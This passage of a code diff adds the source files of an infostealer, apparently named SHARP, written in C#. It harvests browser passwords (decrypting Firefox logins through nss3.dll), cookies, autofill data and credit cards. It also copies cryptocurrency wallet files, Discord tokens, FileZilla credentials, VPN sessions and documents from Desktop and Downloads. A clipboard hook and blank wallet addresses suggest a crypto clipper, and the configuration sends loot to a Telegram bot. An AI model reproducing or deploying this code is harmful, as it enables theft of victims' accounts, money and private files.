+          if (passwords.Length == 0)
+            return;
+          await Writer.WritePasswords(passwords);
+        }));
+        await Task.Run((Func<Task>) (async () =>
+        {
+          AutoFilesFormat[] autoFiles = await BRWSR.GetAutoFiles(path.Value);
+          if (autoFiles.Length == 0)
+            return;
+          await Writer.WriteAutoFill(autoFiles, path.Key);
+        }));
+        await Task.Run((Func<Task>) (async () =>
+        {
+          CreditCardFormat[] creditCards = await BRWSR.GetCreditCards(path.Value, _encrKey);
+          if (creditCards.Length == 0)
+            return;
+          await Writer.WriteCreditCards(creditCards, path.Key);
+        }));
+      }
+    }
+}

Buffers.cs

@@ -0,0 +1,36 @@
+using System;
+using System.Runtime.InteropServices;
+
+namespace SHARP
+{
+    internal class Buffers
+    {
+      private const uint CF_UNICODETEXT = 13;
+
+      public static string GetBuffer()
+      {
+        if (!WinAPI.IsClipboardFormatAvailable(13U) || !WinAPI.OpenClipboard(IntPtr.Zero))
+          return (string) null;
+        string buffer = string.Empty;
+        IntPtr clipboardData = WinAPI.GetClipboardData(13U);
+        if (!clipboardData.Equals((object) IntPtr.Zero))
+        {
+          IntPtr num = WinAPI.GlobalLock(clipboardData);
+          if (!num.Equals((object) IntPtr.Zero))
+          {
+            try
+            {
+              buffer = Marshal.PtrToStringUni(num);
+              WinAPI.GlobalUnlock(num);
+            }
+            catch (Exception ex)
+            {
+              Console.WriteLine((object) ex);
+            }
+          }
+        }
+        WinAPI.CloseClipboard();
+        return buffer;
+      }
+    }
+}

Bytecoin.cs

@@ -0,0 +1,25 @@
+using System.IO;
+
+namespace SHARP
+{
+    internal class Bytecoin
+    {
+      public static void BCNcoinStr(string directorypath)
+      {
+        try
+        {
+          foreach (FileInfo file in new DirectoryInfo(Help.AppData + "\\bytecoin").GetFiles())
+          {
+            Directory.CreateDirectory(directorypath + "\\Wallets\\Bytecoin\\");
+            if (file.Extension.Equals(".wallet"))
+              file.CopyTo($"{directorypath}\\Bytecoin\\{file.Name}");
+          }
+          ++Counting.bytecoin;
+          ++Counting.Wallets;
+        }
+        catch
+        {
+        }
+      }
+    }
+}

Clipboard.cs

@@ -0,0 +1,40 @@
+using System.Threading;
+
+namespace SHARP
+{
+    internal class Clipboard
+    {
+      public static string GetText()
+      {
+        string ReturnValue = string.Empty;
+        try
+        {
+          Thread thread = new Thread((ThreadStart) (() => ReturnValue = System.Windows.Forms.Clipboard.GetText()));
+          thread.SetApartmentState(ApartmentState.STA);
+          thread.Start();
+          thread.Join();
+        }
+        catch
+        {
+        }
+        return ReturnValue;
+      }
+
+      public static void SetText(string text)
+      {
+        Thread thread = new Thread((ThreadStart) (() =>
+        {
+          try
+          {
+            System.Windows.Forms.Clipboard.SetText(text);
+          }
+          catch
+          {
+          }
+        }));
+        thread.SetApartmentState(ApartmentState.STA);
+        thread.Start();
+        thread.Join();
+      }
+    }
+}

Config.cs

@@ -0,0 +1,79 @@
+using System.Collections.Generic;
+
+namespace SHARP
+{
+    internal class Config
+    {
+      public static string language = "en";
+      public static string token = "";
+      public static bool antiSNG = false;
+      public static string id = "";
+      public static bool cclipper = false;
+      public static int clipboard_check_delay = 1;
+      public static Dictionary<string, string> addresses = new Dictionary<string, string>()
+      {
+        {
+          "btc1",
+          ""
+        },
+        {
+          "btc2",
+          ""
+        },
+        {
+          "usdtTRC20",
+          ""
+        },
+        {
+          "eth",
+          ""
+        },
+        {
+          "xmr",
+          ""
+        },
+        {
+          "xlm",
+          ""
+        },
+        {
+          "xrp",
+          ""
+        },
+        {
+          "ltc",
+          ""
+        },
+        {
+          "nec",
+          ""
+        },
+        {
+          "bch",
+          ""
+        }
+      };
+      public static string[] extensions = new string[9]
+      {
+        ".txt",
+        ".png",
+        ".jpg",
+        ".svc",
+        ".rar",
+        ".zip",
+        ".pdf",
+        ".doc",
+        "xlsx"
+      };
+      public static string[] dirsToCollect = new string[3]
+      {
+        Help.DesktopPath,
+        Help.Downloads,
+        Help.TGdownload
+      };
+      public static int sizefile = 11500000;
+      public static string ApiUrl = "https://api.telegram.org/bot";
+      public static string myPrivateServer = "http://127.0.0.1/uploads";
+      public static OMethod.OMethods method = OMethod.OMethods.TelegramBot;
+    }
+}

CookieFormat.cs

@@ -0,0 +1,20 @@
+namespace SHARP
+{
+    internal struct CookieFormat
+    {
+      internal string Host;
+      internal string Name;
+      internal string Path;
+      internal string Cookie;
+      internal string Expiry;
+
+      internal CookieFormat(string host, string name, string path, string cookie, string expiry)
+      {
+        this.Host = host;
+        this.Name = name;
+        this.Path = path;
+        this.Cookie = cookie;
+        this.Expiry = expiry;
+      }
+    }
+}

Counting.cs

@@ -0,0 +1,38 @@
+namespace SHARP
+{
+    internal class Counting
+    {
+      public static int cc = 0;
+      public static int Passwords = 0;
+      public static int CreditCards = 0;
+      public static int AutoFill = 0;
+      public static int Cookies = 0;
+      public static int pia = 0;
+      public static int express = 0;
+      public static int cgv = 0;
+      public static int jabber = 0;
+      public static int totalcmd = 0;
+      public static string country = "";
+      public static int ds = 0;
+      public static int Telegram = 0;
+      public static int FileZilla = 0;
+      public static int Wallets = 0;
+      public static int NordVPN = 0;
+      public static int OpenVPN = 0;
+      public static int ProtonVPN = 0;
+      public static int Steam = 0;
+      public static int armory = 0;
+      public static int atomicwallet = 0;
+      public static int bitcoincore = 0;
+      public static int bytecoin = 0;
+      public static int dashcore = 0;
+      public static int electrum = 0;
+      public static int etherium = 0;
+      public static int exodus = 0;
+      public static int jaxx = 0;
+      public static int litecoincore = 0;
+      public static int monero = 0;
+      public static int zcash = 0;
+      public static int metamask = 0;
+    }
+}

CreditCardFormat.cs

@@ -0,0 +1,18 @@
+namespace SHARP
+{
+    internal struct CreditCardFormat
+    {
+      internal string Number;
+      internal string ExpYear;
+      internal string ExpMonth;
+      internal string Name;
+
+      internal CreditCardFormat(string number, string expyear, string expmonth, string name)
+      {
+        this.Name = name;
+        this.Number = number;
+        this.ExpYear = expyear;
+        this.ExpMonth = expmonth;
+      }
+    }
+}

CyberGhost.cs

@@ -0,0 +1,38 @@
+using System;
+using System.IO;
+
+namespace SHARP
+{
+    internal class CyberGhost
+    {
+      public static void SaveFileSession(string head)
+      {
+        string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\CyberGhost";
+        string str1 = head + "\\VPN\\CyberGhost";
+        if (!Directory.Exists(path))
+        {
+          Console.WriteLine("Исходная директория не существует.");
+        }
+        else
+        {
+          if (!Directory.Exists(str1))
+            Directory.CreateDirectory(str1);
+          foreach (string file in Directory.GetFiles(path))
+          {
+            string fileName = Path.GetFileName(file);
+            File.Copy(file, Path.Combine(str1, fileName), true);
+            Console.WriteLine($"Файл {fileName} скопирован успешно.");
+            ++Counting.cgv;
+          }
+          foreach (string directory in Directory.GetDirectories(path))
+          {
+            string fileName = Path.GetFileName(directory);
+            string str2 = Path.Combine(str1, fileName);
+            Directory.CreateDirectory(str2);
+            Filemanager.CopyDirectory(directory, str2);
+            ++Counting.cgv;
+          }
+        }
+      }
+    }
+}

DashCore.cs

@@ -0,0 +1,23 @@
+using Microsoft.Win32;
+using System.IO;
+
+namespace SHARP
+{
+    internal class DashCore
+    {
+      public static void DSHcoinStr(string directorypath)
+      {
+        try
+        {
+          RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Dash").OpenSubKey("Dash-Qt");
+          Directory.CreateDirectory(directorypath + "\\Wallets\\DashCore\\");
+          File.Copy(registryKey.GetValue("strDataDir").ToString() + "\\wallet.dat", directorypath + "\\DashCore\\wallet.dat");
+          ++Counting.dashcore;
+          ++Counting.Wallets;
+        }
+        catch
+        {
+        }
+      }
+    }
+}

Discord.cs

@@ -0,0 +1,37 @@
+using System.Collections.Generic;
+using System.IO;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class Discord
+    {
+      public static async Task Run(string h)
+      {
+        List<string> ts = new List<string>();
+        DiscordAccountFormat[] accounts = await dst.GetAccounts();
+        StringBuilder stringBuilder = new StringBuilder();
+        foreach (DiscordAccountFormat discordAccountFormat in accounts)
+        {
+          if (!ts.Contains(discordAccountFormat.Token))
+          {
+            ++Counting.ds;
+            stringBuilder.AppendLine("\nToken: " + discordAccountFormat.Token);
+            ts.Add(discordAccountFormat.Token);
+          }
+        }
+        if (stringBuilder.Length > 0)
+          Directory.CreateDirectory(h + "\\Discord");
+        if (ts.Count <= 0)
+        {
+          ts = (List<string>) null;
+        }
+        else
+        {
+          File.WriteAllText(Path.Combine(h, nameof (Discord), "Tokens.txt"), stringBuilder.ToString());
+          ts = (List<string>) null;
+        }
+      }
+    }
+}

DiscordAccountFormat.cs

@@ -0,0 +1,9 @@
+namespace SHARP
+{
+    internal struct DiscordAccountFormat
+    {
+      internal readonly string Token;
+
+      internal DiscordAccountFormat(string token) => this.Token = token;
+    }
+}

Electrum.cs

@@ -0,0 +1,26 @@
+using System.IO;
+
+namespace SHARP
+{
+    internal class Electrum
+    {
+      public static string ElectrumDir = "\\Wallets\\Electrum\\";
+
+      public static void EleStr(string directorypath)
+      {
+        try
+        {
+          foreach (FileInfo file in new DirectoryInfo(Help.AppData + "\\Electrum\\wallets").GetFiles())
+          {
+            Directory.CreateDirectory(directorypath + Electrum.ElectrumDir);
+            file.CopyTo(directorypath + Electrum.ElectrumDir + file.Name);
+          }
+          ++Counting.electrum;
+          ++Counting.Wallets;
+        }
+        catch
+        {
+        }
+      }
+    }
+}

Ethereum.cs

@@ -0,0 +1,26 @@
+using System.IO;
+
+namespace SHARP
+{
+    internal class Ethereum
+    {
+      public static string EthereumDir = "\\Wallets\\Ethereum\\";
+
+      public static void EcoinStr(string directorypath)
+      {
+        try
+        {
+          foreach (FileInfo file in new DirectoryInfo(Help.AppData + "\\Ethereum\\keystore").GetFiles())
+          {
+            Directory.CreateDirectory(directorypath + Ethereum.EthereumDir);
+            file.CopyTo(directorypath + Ethereum.EthereumDir + file.Name);
+          }
+          ++Counting.etherium;
+          ++Counting.Wallets;
+        }
+        catch
+        {
+        }
+      }
+    }
+}

Exodus.cs

@@ -0,0 +1,26 @@
+using System.IO;
+
+namespace SHARP
+{
+    internal class Exodus
+    {
+      public static string ExodusDir = "\\Wallets\\Exodus\\";
+
+      public static void ExodusStr(string directorypath)
+      {
+        try
+        {
+          foreach (FileInfo file in new DirectoryInfo(Help.AppData + "\\Exodus\\exodus.wallet\\").GetFiles())
+          {
+            Directory.CreateDirectory(directorypath + Exodus.ExodusDir);
+            file.CopyTo(directorypath + Exodus.ExodusDir + file.Name);
+          }
+          ++Counting.exodus;
+          ++Counting.Wallets;
+        }
+        catch
+        {
+        }
+      }
+    }
+}

ExpressVPN.cs

@@ -0,0 +1,38 @@
+using System;
+using System.IO;
+
+namespace SHARP
+{
+    internal class ExpressVPN
+    {
+      public static void SaveFileSession(string head)
+      {
+        string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\ExpressVPN";
+        string str1 = head + "\\VPN\\ExpressVPN";
+        if (!Directory.Exists(path))
+        {
+          Console.WriteLine("Исходная директория не существует.");
+        }
+        else
+        {
+          if (!Directory.Exists(str1))
+            Directory.CreateDirectory(str1);
+          foreach (string file in Directory.GetFiles(path))
+          {
+            string fileName = Path.GetFileName(file);
+            File.Copy(file, Path.Combine(str1, fileName), true);
+            Console.WriteLine($"Файл {fileName} скопирован успешно.");
+            ++Counting.express;
+          }
+          foreach (string directory in Directory.GetDirectories(path))
+          {
+            string fileName = Path.GetFileName(directory);
+            string str2 = Path.Combine(str1, fileName);
+            Directory.CreateDirectory(str2);
+            Filemanager.CopyDirectory(directory, str2);
+            ++Counting.express;
+          }
+        }
+      }
+    }
+}

FileZilla.cs

@@ -0,0 +1,78 @@
+using System;
+using System.IO;
+using System.Text;
+using System.Threading.Tasks;
+using System.Xml;
+
+namespace SHARP
+{
+    internal class FileZilla
+    {
+      private static StringBuilder SB = new StringBuilder();
+      public static readonly string FzPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "FileZilla\\recentservers.xml");
+
+      public static async Task GetFileZilla(string head)
+      {
+        string str = head;
+        if (!File.Exists(FileZilla.FzPath))
+          return;
+        Directory.CreateDirectory(str + "\\FTP\\FileZilla");
+        FileZilla.GetDataFileZilla(FileZilla.FzPath, str + "\\FTP\\FileZilla\\FTP\\FileZilla.log");
+      }
+
+      public static void GetDataFileZilla(string PathFZ, string SaveFile, string RS = "RecentServers", string Serv = "Server")
+      {
+        try
+        {
+          if (!File.Exists(PathFZ))
+            return;
+          if (File.Exists(PathFZ))
+          {
+            XmlDocument xmlDocument = new XmlDocument();
+            xmlDocument.Load(PathFZ);
+            foreach (XmlElement xmlElement in ((XmlElement) xmlDocument.GetElementsByTagName(RS)[0]).GetElementsByTagName(Serv))
+            {
+              string innerText1 = xmlElement.GetElementsByTagName("Host")[0].InnerText;
+              string innerText2 = xmlElement.GetElementsByTagName("Port")[0].InnerText;
+              string innerText3 = xmlElement.GetElementsByTagName("User")[0].InnerText;
+              string str = Encoding.UTF8.GetString(Convert.FromBase64String(xmlElement.GetElementsByTagName("Pass")[0].InnerText));
+              if (!string.IsNullOrEmpty(innerText1))
+              {
+                if (!string.IsNullOrEmpty(innerText2))
+                {
+                  if (!string.IsNullOrEmpty(innerText3))
+                  {
+                    if (!string.IsNullOrEmpty(str))
+                    {
+                      FileZilla.SB.AppendLine("Host: " + innerText1);
+                      FileZilla.SB.AppendLine("Port: " + innerText2);
+                      FileZilla.SB.AppendLine("User: " + innerText3);
+                      FileZilla.SB.AppendLine($"Pass: {str}\r\n");
+                      ++Counting.FileZilla;
+                    }
+                    else
+                      break;
+                  }
+                  else
+                    break;
+                }
+                else
+                  break;
+              }
+              else
+                break;
+            }
+            if (FileZilla.SB.Length > 0)
+              File.AppendAllText(SaveFile, FileZilla.SB.ToString());
+          }
+          if (FileZilla.SB.Length <= 0)
+            return;
+          File.AppendAllText(SaveFile, FileZilla.SB.ToString());
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine((object) ex);
+        }
+      }
+    }
+}

Filemanager.cs

@@ -0,0 +1,25 @@
+using System.IO;
+
+namespace SHARP
+{
+    internal sealed class Filemanager
+    {
+      public static void CopyDirectory(string sourceDir, string targetDir)
+      {
+        if (!Directory.Exists(sourceDir))
+          throw new DirectoryNotFoundException(sourceDir);
+        if (!Directory.Exists(targetDir))
+          Directory.CreateDirectory(targetDir);
+        foreach (string enumerateDirectory in Directory.EnumerateDirectories(sourceDir))
+        {
+          string targetDir1 = Path.Combine(targetDir, Path.GetFileName(enumerateDirectory));
+          Filemanager.CopyDirectory(enumerateDirectory, targetDir1);
+        }
+        foreach (string enumerateFile in Directory.EnumerateFiles(sourceDir))
+        {
+          string destFileName = Path.Combine(targetDir, Path.GetFileName(enumerateFile));
+          File.Copy(enumerateFile, destFileName, true);
+        }
+      }
+    }
+}

Files.cs

@@ -0,0 +1,130 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    public class Files
+    {
+      public static async Task GetFiles(string Head)
+      {
+        try
+        {
+          string str = Head + "\\Files";
+          Directory.CreateDirectory(str);
+          if (!Directory.Exists(str))
+          {
+            await Files.GetFiles(Head);
+          }
+          else
+          {
+            int sizefile = Config.sizefile;
+            foreach (string source in Config.dirsToCollect)
+              Files.CopyDirectory(source, str, "*.*", (long) sizefile);
+          }
+        }
+        catch
+        {
+        }
+      }
+
+      private static long GetDirSize(string path, long size = 0)
+      {
+        try
+        {
+          foreach (string enumerateFile in Directory.EnumerateFiles(path))
+          {
+            try
+            {
+              size += new FileInfo(enumerateFile).Length;
+            }
+            catch
+            {
+            }
+          }
+          foreach (string enumerateDirectory in Directory.EnumerateDirectories(path))
+          {
+            try
+            {
+              size += Files.GetDirSize(enumerateDirectory);
+            }
+            catch
+            {
+            }
+          }
+        }
+        catch
+        {
+        }
+        return size;
+      }
+
+      public static void CopyDirectory(string source, string target, string pattern, long maxSize)
+      {
+        Stack<SHARP.GetFiles.Folders> foldersStack = new Stack<SHARP.GetFiles.Folders>();
+        foldersStack.Push(new SHARP.GetFiles.Folders(source, target));
+        long dirSize = Files.GetDirSize(target);
+        while (foldersStack.Count > 0)
+        {
+          SHARP.GetFiles.Folders folders = foldersStack.Pop();
+          try
+          {
+            Directory.CreateDirectory(folders.Target);
+            foreach (string enumerateFile in Directory.EnumerateFiles(folders.Source, pattern))
+            {
+              try
+              {
+                if (Array.IndexOf<string>(Config.extensions, Path.GetExtension(enumerateFile).ToLower()) >= 0)
+                {
+                  string str = Path.Combine(folders.Target, Path.GetFileName(enumerateFile));
+                  if (new FileInfo(enumerateFile).Length / 1024L /*0x0400*/ < 5000L)
+                  {
+                    File.Copy(enumerateFile, str);
+                    dirSize += new FileInfo(str).Length;
+                    if (dirSize > maxSize)
+                      return;
+                  }
+                }
+              }
+              catch
+              {
+              }
+            }
+          }
+          catch (UnauthorizedAccessException ex)
+          {
+            continue;
+          }
+          catch (PathTooLongException ex)
+          {
+            continue;
+          }
+          try
+          {
+            foreach (string enumerateDirectory in Directory.EnumerateDirectories(folders.Source))
+            {
+              try
+              {
+                if (!enumerateDirectory.Contains(Path.Combine(Help.DesktopPath, Environment.UserName)))
+                  foldersStack.Push(new SHARP.GetFiles.Folders(enumerateDirectory, Path.Combine(folders.Target, Path.GetFileName(enumerateDirectory))));
+              }
+              catch
+              {
+              }
+            }
+          }
+          catch (UnauthorizedAccessException ex)
+          {
+          }
+          catch (DirectoryNotFoundException ex)
+          {
+          }
+          catch (PathTooLongException ex)
+          {
+          }
+        }
+        foldersStack.Clear();
+      }
+    }
+}

GBRWSR.cs

@@ -0,0 +1,102 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class GBRWSR
+    {
+      private static async Task<bool> ex(string path) => new FileInfo(path).Length > 0L;
+
+      public static async Task<CookieFormat[]> GetCookies(string BrowserPath)
+      {
+        List<CookieFormat> cookies = new List<CookieFormat>();
+        string[] strArray = await Task.Run<string[]>((Func<string[]>) (() => Directory.GetFiles(BrowserPath, "cookies.sqlite", SearchOption.AllDirectories)));
+        for (int index = 0; index < strArray.Length; ++index)
+        {
+          string cookiesFilePath = strArray[index];
+          try
+          {
+            string str;
+            do
+            {
+              if (await GBRWSR.ex(cookiesFilePath))
+                str = Path.Combine(Path.GetTempPath(), BRWSR.GenerateRandomString(37));
+              else
+                goto label_15;
+            }
+            while (File.Exists(str));
+            File.Copy(cookiesFilePath, str);
+            SQLiteHandler sqLiteHandler = new SQLiteHandler(cookiesFilePath);
+            if (sqLiteHandler.ReadTable("moz_cookies"))
+            {
+              for (int row_num = 0; row_num < sqLiteHandler.GetRowCount(); ++row_num)
+              {
+                string host = sqLiteHandler.GetValue(row_num, "host");
+                string name = sqLiteHandler.GetValue(row_num, "name");
+                string path = sqLiteHandler.GetValue(row_num, "path");
+                string cookie = sqLiteHandler.GetValue(row_num, "value");
+                string expiry = sqLiteHandler.GetValue(row_num, "expiry");
+                if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && cookie != null && cookie.Length > 0)
+                  cookies.Add(new CookieFormat(host, name, path, cookie, expiry));
+              }
+              File.Delete(str);
+            }
+            else
+              continue;
+          }
+          catch (Exception ex)
+          {
+            Console.WriteLine((object) ex);
+          }
+    label_15:
+          cookiesFilePath = (string) null;
+        }
+        strArray = (string[]) null;
+        CookieFormat[] array = cookies.ToArray();
+        cookies = (List<CookieFormat>) null;
+        return array;
+      }
+
+      public static async Task<PasswordFormat[]> GetPasswords(string BrowserPath)
+      {
+        List<PasswordFormat> passwords = new List<PasswordFormat>();
+        foreach (string str1 in await Task.Run<string[]>((Func<string[]>) (() => Directory.GetFiles(BrowserPath, "logins.json", SearchOption.AllDirectories))))
+        {
+          Console.WriteLine(str1);
+          try
+          {
+            GDecryptor.NSS_Init(Path.GetDirectoryName(str1));
+            string str2 = Path.Combine(Path.GetTempPath(), BRWSR.GenerateRandomString(30));
+            File.Copy(str1, str2, true);
+            MatchCollection matchCollection = Regex.Matches(File.ReadAllText(str2), "\"hostname\":\\s*\"([^\"]*)\".*?\"encryptedUsername\":\\s*\"([^\"]*)\".*?\"encryptedPassword\":\\s*\"([^\"]*)\"", RegexOptions.Singleline);
+            Console.WriteLine(matchCollection.Count);
+            for (int i = 0; i < matchCollection.Count; ++i)
+            {
+              Match match = matchCollection[i];
+              if (match.Groups.Count >= 3)
+              {
+                string cypherText1 = match.Groups[3].Value;
+                string cypherText2 = match.Groups[2].Value;
+                string str3 = match.Groups[1].Value;
+                string password = GDecryptor.Decrypt(cypherText1);
+                string username = GDecryptor.Decrypt(cypherText2);
+                string url = str3;
+                if (!string.IsNullOrWhiteSpace(url) && password.Length > 0)
+                  passwords.Add(new PasswordFormat(username, password, url));
+              }
+            }
+            File.Delete(str2);
+          }
+          catch
+          {
+          }
+        }
+        PasswordFormat[] array = passwords.ToArray();
+        passwords = (List<PasswordFormat>) null;
+        return array;
+      }
+    }
+}

GDecryptor.cs

@@ -0,0 +1,205 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace SHARP
+{
+	internal class GDecryptor
+	{
+		public static IntPtr NSS3;
+		private static string ffoldername = "\\Mozilla Firefox\\";
+
+		[DllImport("kernel32.dll")]
+		public static extern IntPtr LoadLibrary(string dllFilePath);
+
+		[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
+		public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
+
+		public static long NSS_Init(string configdir)
+		{
+			string path = "C:\\Program Files" + ffoldername;
+			if (!Directory.Exists(path))
+				path = "C:\\Program Files (x86)" + ffoldername;
+
+			if (!Directory.Exists(path))
+				return -100;
+
+			LoadLibrary(path + "mozglue.dll");
+			NSS3 = LoadLibrary(path + "nss3.dll");
+
+			var nssInitDelegate = (DLLFunctionDelegate)Marshal.GetDelegateForFunctionPointer(
+				GetProcAddress(NSS3, "NSS_Init"),
+				typeof(DLLFunctionDelegate));
+
+			return nssInitDelegate(configdir);
+		}
+
+		public static string Decrypt(string cypherText)
+		{
+			IntPtr dataPtr = IntPtr.Zero;
+			try
+			{
+				byte[] source = Convert.FromBase64String(cypherText);
+				dataPtr = Marshal.AllocHGlobal(source.Length);
+				Marshal.Copy(source, 0, dataPtr, source.Length);
+
+				// Korrektur: TSECItem-Instanz erstellen, nicht im ref-Parameter
+				TSECItem data = new TSECItem
+				{
+					SECItemType = 0,
+					SECItemData = dataPtr,
+					SECItemLen = source.Length
+				};
+
+				TSECItem result = new TSECItem();
+
+				if (PK11SDR_Decrypt(ref data, ref result, 0) == 0)
+				{
+					if (result.SECItemLen != 0)
+					{
+						byte[] decryptedData = new byte[result.SECItemLen];
+						Marshal.Copy(result.SECItemData, decryptedData, 0, result.SECItemLen);
+						return Encoding.UTF8.GetString(decryptedData);
+					}
+				}
+			}
+			catch (Exception ex)
+			{
+				Console.WriteLine($"Decryption error: {ex}");
+				return null;
+			}
+			finally
+			{
+				if (dataPtr != IntPtr.Zero)
+					Marshal.FreeHGlobal(dataPtr);
+			}
+			return null;
+		}
+
+		public static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
+		{
+			var decryptDelegate = (DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(
+				GetProcAddress(NSS3, "PK11SDR_Decrypt"),
+				typeof(DLLFunctionDelegate5));
+
+			return decryptDelegate(ref data, ref result, cx);
+		}
+
+		// NSS_Shutdown für Cleanup
+		public static long NSS_Shutdown()
+		{
+			var nssShutdownDelegate = (DLLFunctionDelegate)Marshal.GetDelegateForFunctionPointer(
+				GetProcAddress(NSS3, "NSS_Shutdown"),
+				typeof(DLLFunctionDelegate));
+
+			return nssShutdownDelegate(null);
+		}
+
+		// Delegate-Definitionen
+		[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+		public delegate long DLLFunctionDelegate(string configdir);
+
+		[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+		public delegate int DLLFunctionDelegate5(ref TSECItem data, ref TSECItem result, int cx);
+
+		// Struktur für NSS
+		public struct TSECItem
+		{
+			public int SECItemType;
+			public IntPtr SECItemData;
+			public int SECItemLen;
+		}
+
+		// Verbesserte Methode zum Extrahieren von Firefox-Passwörtern
+		public static List<string> ExtractFirefoxPasswords()
+		{
+			var passwords = new List<string>();
+			string[] firefoxProfiles = GetFirefoxProfilePaths();
+
+			foreach (string profile in firefoxProfiles)
+			{
+				string signonsFile = Path.Combine(profile, "signons.sqlite");
+				string loginsFile = Path.Combine(profile, "logins.json");
+
+				if (File.Exists(signonsFile))
+				{
+					// SQLite-Datenbank für ältere Firefox-Versionen
+					ExtractFromSQLite(signonsFile, passwords);
+				}
+
+				if (File.Exists(loginsFile))
+				{
+					// JSON-Datei für neuere Firefox-Versionen
+					ExtractFromJSON(loginsFile, passwords);
+				}
+			}
+
+			return passwords;
+		}
+
+		private static string[] GetFirefoxProfilePaths()
+		{
+			string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
+			string firefoxPath = Path.Combine(appData, "Mozilla", "Firefox", "Profiles");
+
+			if (Directory.Exists(firefoxPath))
+			{
+				return Directory.GetDirectories(firefoxPath, "*.default*", SearchOption.TopDirectoryOnly);
+			}
+
+			return new string[0];
+		}
+
+		private static void ExtractFromSQLite(string sqlitePath, List<string> passwords)
+		{
+			try
+			{
+				// Hier müsste SQLite-Parser implementiert werden
+				// Vereinfachte Version:
+				if (NSS_Init(Path.GetDirectoryName(sqlitePath)) == 0)
+				{
+					// Datenbank öffnen und entschlüsseln...
+					// NSS_Shutdown(); nicht vergessen!
+				}
+			}
+			catch { }
+		}
+
+		private static void ExtractFromJSON(string jsonPath, List<string> passwords)
+		{
+			try
+			{
+				string jsonContent = File.ReadAllText(jsonPath);
+				// JSON parsen und entschlüsselte Passwörter extrahieren
+				// Vereinfacht: Suche nach base64-Strings
+				string[] parts = jsonContent.Split(new[] { '"' }, StringSplitOptions.RemoveEmptyEntries);
+
+				foreach (string part in parts)
+				{
+					if (part.Length > 50 && IsBase64String(part))
+					{
+						string decrypted = Decrypt(part);
+						if (!string.IsNullOrEmpty(decrypted))
+							passwords.Add(decrypted);
+					}
+				}
+			}
+			catch { }
+		}
+
+		private static bool IsBase64String(string s)
+		{
+			try
+			{
+				Convert.FromBase64String(s);
+				return true;
+			}
+			catch
+			{
+				return false;
+			}
+		}
+	}
+}

GetFiles.cs

@@ -0,0 +1,18 @@
+namespace SHARP
+{
+    public class GetFiles
+    {
+      public class Folders : IFolders
+      {
+        public string Source { get; private set; }
+
+        public string Target { get; private set; }
+
+        public Folders(string source, string target)
+        {
+          this.Source = source;
+          this.Target = target;
+        }
+      }
+    }
+}

Help.cs

@@ -0,0 +1,154 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Reflection;
+using System.Text;
+
+namespace SHARP
+{
+	internal static class Help
+	{
+		public static readonly string DesktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
+		public static readonly string LocalData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
+		public static readonly string System = Environment.GetFolderPath(Environment.SpecialFolder.System);
+		public static readonly string AppData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
+		public static readonly string CommonData = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);
+		public static readonly string MyDocuments = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
+		public static readonly string UserProfile = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
+		public static readonly string ExploitName = Assembly.GetExecutingAssembly().Location;
+		public static readonly string ExploitDirectory = Path.GetDirectoryName(ExploitName);
+		public static string TGdownload = $"C:\\Users\\{Environment.UserName}\\Downloads\\Telegram Desktop";
+		public static string Downloads = $"C:\\Users\\{Environment.UserName}\\Downloads";
+		public static string date = DateTime.Now.ToString("MM/dd/yyyy h:mm");
+		public static string ExploitDir = LocalData + "\\SCef.WindowsAdapter";
+		public static string dir = LocalData + "\\CefSharp.BrowsersSubprocess";
+		public static string IP = new WebClient().DownloadString("https://api.ipify.org/");
+
+		public static string GetDomainDetect(string Browser)
+		{
+			try
+			{
+				string[] strArray = new string[19]
+				{
+					"cryptonator.com",
+					"payeer.com",
+					"lolz.guru",
+					"wwh-club.net",
+					"xss.is",
+					"bhf.io",
+					"btc.com",
+					"minergate.com",
+					"blockchain.com",
+					"github.com",
+					"coinbase.com",
+					"paypal.com",
+					"zelenka.guru",
+					"lolz.live",
+					"binance.com",
+					"breachforums.st",
+					"youtube.com",
+					"sberbank.com",
+					"sber.ru"
+				};
+
+				FileInfo[] files = new DirectoryInfo(Browser).GetFiles("*.txt", SearchOption.TopDirectoryOnly);
+				List<string> stringList = new List<string>();
+
+				foreach (FileInfo fileInfo in files)
+					stringList.AddRange(File.ReadAllLines(fileInfo.FullName, Encoding.UTF8));
+
+				HashSet<string> stringSet = new HashSet<string>();
+
+				foreach (string str1 in stringList)
+				{
+					foreach (string str2 in str1.Split()
+						.Select(w => w.Trim())
+						.Where(w => w != "")
+						.Select(w => w.ToLower())
+						.ToList())
+					{
+						if (!stringSet.Contains(str2))
+							stringSet.Add(str2);
+					}
+				}
+
+				HashSet<string> values = new HashSet<string>();
+
+				foreach (string str3 in strArray)
+				{
+					foreach (string str4 in stringSet)
+					{
+						if (str4.Contains(str3) && !values.Contains(str3))
+							values.Add(str3);
+					}
+				}
+
+				return string.Join(", ", values);
+			}
+			catch (Exception ex)
+			{
+				return "";
+			}
+		}
+
+		public static bool CheckSUB(DateTime ConfigDate, DateTime TargetDate)
